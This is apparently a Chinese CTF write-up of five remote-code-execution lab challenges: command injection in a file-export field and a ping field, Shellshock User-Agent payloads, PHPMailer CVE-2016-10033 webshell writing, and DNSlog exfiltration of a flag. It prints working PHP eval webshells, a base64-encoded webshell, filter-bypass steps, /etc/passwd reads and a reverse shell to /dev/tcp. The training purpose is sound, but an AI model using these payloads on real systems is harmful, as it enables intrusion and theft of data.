安鸾之RCE系列
涂寐 Lv5

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于涂寐’s Blogs:https://0xtlu.github.io,转载请注明出处!

0x00 webshell&中国菜刀

0o00 题目提示

1
2
3
4
5
6
webshell&中国菜刀

题目URL:http://47.100.220.113:8013


提示:flag仍然在数据库里面哦!

0o01 执行过程

  • 访问提示URL,得到如下内容:

    1
    2
    菜刀一句话:http://47.100.220.113:8013/webshell.php
    密码: whalwl
  • 蚁剑直连,找数据库账密位置。发现在配置文件里/var/www/html/conn.php,得到如下信息:

    1
    2
    3
    4
    $servername = "mysql";
    $username = "test";
    $password = "test";
    DATABASE:test123
  • 蚁剑:数据管理 –> 对应行右键 –> 数据操作 –> 添加 –> ……。

image

0x01 命令执行01

0o00 题目提示

1
2
3
命令执行01

题目URL:http://47.100.220.113:8031/

0o01 Linux命令符

1
2
3
4
5
6
; --> 各命令依次执行并输出结果,不会互相影响:ls;whoami。
| --> 管道符,其左边命令的输出 作为 其右边命令的输入:pwd|ls。
& --> 后台运行符,将待运行命令丢到后台运行ls /&pwd。
&& --> 逻辑与,其左边命令成功执行下,方才执行其右边命令:ls /&&pwd。
|| --> 逻辑或,其左边命令执行失败下,方才执行其右边命令:ls /||pwd。
` --> 反引号,使用时,获取返回结果赋值给变量输出:echo `pwd`。

0o02 执行过程

  • 提供的网页,有个导出所有文件的功能,是导出一个压缩包。重新命名,得到下载路径:http://47.100.220.113:8031/backup/test.zip。文件名被带入执行,看样子,执行点就在这命令框里了。

image

  • 利用命令连接符,尝试输入如下命令(注:/export.php在网站根目录,在不指定生成目录情况下,命令执行后生成的文件在当前目录,当前为网站根目录)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    backup.tar.gz; echo admin > test.txt
    http://47.100.220.113:8031/test.txt
    访问得到:admin images/auto.jpg images/potato.jpg

    backup.tar.gz; echo '<?php @eval($_POST["test"]); ?>' > test.php
    http://47.100.220.113:8031/test.php
    访问得到:images/auto.jpg images/potato.jpg
    蚁剑连接即可

    backup.tar.gz& echo '<?php @eval($_POST["test"]); ?>' > haha.php
  • 源码分析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 获取传入的文件名后,不过滤直接带入 exec() 函数执行

    <?php
    if (isset($_POST['name'])){
    $name = $_POST['name'];
    exec("tar -zcvf backup/$name images/*.jpg");
    echo "<div class=\"alert alert-success\" role=\"alert\">导出成功,<a href='backup/$name'>点击下载</a></div>";
    }
    ?>

0x02 破壳漏洞

0o00 题目提示

1
2
3
4
5
6
7
8
9
10
破壳漏洞

CVE编号:CVE-2014-6271

题目URL:http://118.190.133.35:8029/cgi-bin/poc.cgi

提示:flag在服务器根目录

2014925日,外媒曝出一个广泛存在于主流操作系统的漏洞bash,该漏洞会影响到Redhat、CentOS、Ubuntu、Debian、Fedora 、AmazonLinux、OS X 10.10等平台,影响范围和纵深程度都可能匹敌或者超过当年4月发现的“心脏滴血”(Heartbleed)漏洞。

0o01 ShellShock

  • 漏洞概要:2014年9月24日,Bash 惊爆严重安全漏洞,编号为 CVE-2014-6271 ,该漏洞将导致远程攻击者在受影响的系统上执行任意代码。
  • 须知:GNU Bash 是一个为 GNU 计划编写的 Unix Shell,广泛使用在 Linux 系统内。
  • 漏洞描述:对 GNU Bash 4.3 及之前版本评估时发现,在某些构造的环境变量中存在安全漏洞。某些服务和应用允许未经身份验证的远程攻击者提供环境变量,使其可在环境变量内的函数定义后闭合构造自定义的环境变量来改变或绕过环境限制执行 Shell 命令。而这些攻击者创建的环境变量中可包含恶意代码,当 Bash Shell 被调用时被立即执行,进而造成破坏。
  • 漏洞影响:GNU Bash <= 4.3。
  • 漏洞危害:高危,10级。
  • 参考连接:https://blog.knownsec.com/2014/09/shellshock_response_profile/

0o01 执行过程

  • 拿到flag:flag{3dcc4094fef7406090d66d67d59d367f}
  • 参考:Shellshock漏洞检测及利用
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    // Content-Type: text/plain; --> 指定返回包数据内容类型,此处设置为纯文本格式
    // id 命令:显示用户的ID,以及所属群组的ID
    User-Agent: () { flag; }; echo Content-Type: text/plain; echo; /usr/bin/id

    // 列出服务器根目录文件
    User-Agent: () { flag;};echo Content-Type:text/plain;echo;/bin/ls /;
    User-Agent: () { flag;};echo;echo $(/bin/ls -al / );

    // 显示服务器根目录下的 flag 内容
    User-Agent: () { flag; }; echo Content-Type: text/plain; echo; /bin/cat /this_is_flag

    // 其他命令
    User-Agent: () { flag;};echo;/usr/bin/whoami
    User-Agent: () { flag;};echo;/bin/pwd
    User-Agent: () { flag;};echo;/bin/cat /etc/passwd
    1
    2
    // 未测试
    User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.0.112/8888 0>&1;
    1
    2
    3
    4
    5
    6
    7
    8
    9
    GET /cgi-bin/poc.cgi HTTP/1.1
    Host: 118.190.133.35:8029
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /bin/cat /this_is_flag
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    Connection: close

image

0x03 PHPmailer

0o00 题目提示

1
2
3
4
5
PHPmailer

网站URL:http://118.190.133.35:8038/

提示:flag在服务器系统根目录下,文件名为flag

0o01 phpMailer

  • phpMailer 是一个非常强大的 php发送邮件类,可以设定发送邮件地址、回复地址、邮件主题、html网页,上传附件,并且使用起来非常方便。
  • PHPMailer 由于调用系统的 sendmail 命令,且在 class.phpmailer.php 中没有对用户请求做限制,致使攻击者可利用 –X 参数将包含恶意代码的流量记录到指定文件中,进而达到 RCE 的效果。
  • 利用要求:① PHPMailer Version < 5.2.18; ② PHP 没有开启 safe_mode(默认); ③ 攻击者需要知道 Web 服务部署的路径。
  • 相关CMS:WordPress、Drupal、Joomla! 等 CMS 使用该组件发送邮件。
  • 参考文章:

0o02 执行过程

  • 访问链接,直接一个邮箱发送界面。好多框,有框就x……
  • Linux 操作系统 –> 猜测绝对路径。
  • php 脚本语言 –> 解析 shell。

image

  • 潮汐试了下, 没识别到CMS,扫目录吧。
  • http://118.190.133.35:8038/phpmailer/VERSION –> 5.2.16
  • http://118.190.133.35:8038/phpmailer/SECURITY.md –> CVE-2016-10033
  • 有前辈写的 shell ,可以盲猜一波常用 shell 口令:admin、123、111、aaa、shell、test……

image

  • 手动GetShell,构造如下信息直接写马

    1
    2
    3
    // 收件人:任意
    // 收件箱:"demo". -OQueueDirectory=/tmp/. -X/var/www/html/anluan.php @test.com
    // 邮件内容:<?php eval($_POST[anluan]);?>
  • 点击发送,邮件发送不成功.发送错误: Could not instantiate mail function.……没得事,直接访问:http://118.190.133.35:8038/anluan.php,有一堆流量信息,拿蚁剑……

image

  • 构造其他语句,看起来比较像命令执行

    1
    2
    // 邮件内容:<?php system($_GET["anluan"]);?>
    // 访问:view-source:http://118.190.133.35:8038/anluan.php?anluan=ls%20/

    image

  • 拿到flag:flag{0c9e8774f4e5684d35037ba02d5af72a}

0x04 命令执行02

0o00 题目提示

1
2
3
命令执行02

题目URL:http://47.100.220.113:8032/

0o01 DNSlog

0o01 执行过程

  • 访问提示,啥玩意,感觉又被人干崩了!先扫下目录吧。

官方还原后,访问跳转http://47.100.220.113:8032/login/,直接弱口令admin/admin登录后台。

  • 命令执行,,,找输入点,,,The consoleIP和端口,检测网络情况,,,ping,,,应该是这吧。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    // 写入:127.0.0.1
    // 检测网络情况,口头计时,算 1s 吧

    // 写入:127.0.0.1|sleep 5
    // 延迟超过5s,初步判断为存在点

    // 写入:|ls -l />ls.txt
    // 访问:http://47.100.220.113:8032/ls.txt
    // 查看服务器根目录下的子目录及文件 --> 可知,flag为一个文件。

    // 写入:|cat /flag>flag.txt
    // 访问:http://47.100.220.113:8032/flag.txt
    // 直接拿到flag:flag{971fd930a06861f43373adddc2f499c4}

    // 利用DNSlog外带数据方式:
    // 写入:127.0.0.1|ping admin.il5sxk.ceye.io
    // http://ceye.io/records/dns 处查看记录,Name 存在记录:admin.il5sxk.ceye.io

    // 写入:127.0.0.1|ping `cat \flag`.il5sxk.ceye.io
    // 拿到flag。
  • 检测网络情况,显示网络异常,但还是能成功读取到flag:flag{971fd930a06861f43373adddc2f499c4}

image

  • 文件写入(getshell)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    // 127.0.0.1|echo `cat test.txt|base64`>./vendor/admin.txt	
    // 目录扫描,可以得到站点存在存在目录浏览漏洞,观察可知是否生成文件。
    // 或通过站点对不存在网页的提示进行判断,如访问33.php,提示:Not Found。

    // 需要确定,内容是否真的写入,还是一个空文件 --> 不是空文件,不确保写入内容与需求一致。
    // 直接写入一句话木马,被过滤!猜想,多文件拼接成一个文件。
    // 注:文件需要被作为php文件解析。
    // 实际步骤如下:

    // 去掉 2.txt 中的单引号:|echo `sed "s/'//g" 2.txt`>2.txt
    // 去掉 3.txt 中的换行符:|echo `sed "s/n//g" 3.txt`>3.txt
    // 去掉 4.txt 中的空格:|echo `sed "s/ //g" 4.txt`>4.txt
    // 写入一句话木马的第一部分:|echo '<'>11.txt
    // 写入一句话木马的第二部分:|echo '?php'>12.txt
    // 写入一句话木马的第三部分:|echo '@eval($_POST["shell"]);?>'>13.txt
    // 合并一二部分:|cat 11.txt 12.txt >14.txt
    // 去掉拼接造成的换行符:|echo `sed "s/n//g" 14.txt`>14.txt
    // 去掉删除换行符造成的空格:|echo `sed "s/ //g" 14.txt`>14.txt
    // 拼入第三部分:cat 14.txt 13.txt >15.txt
    // 去掉拼接造成的换行符:|echo `sed "s/n//g" 15.txt`>15.txt
    // 得到正确的一句话木马,复制到解析成php文件的目录即可,如网站根目录。


    // 很麻烦吧
    // 利用base64编码
    // 一句话木马编码后写入:|echo 'PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbCJdKTs/Pgo='>admin.txt
    // 解码写入其他文件:|echo `base64 -d admin.txt`>admin.php

image

 评论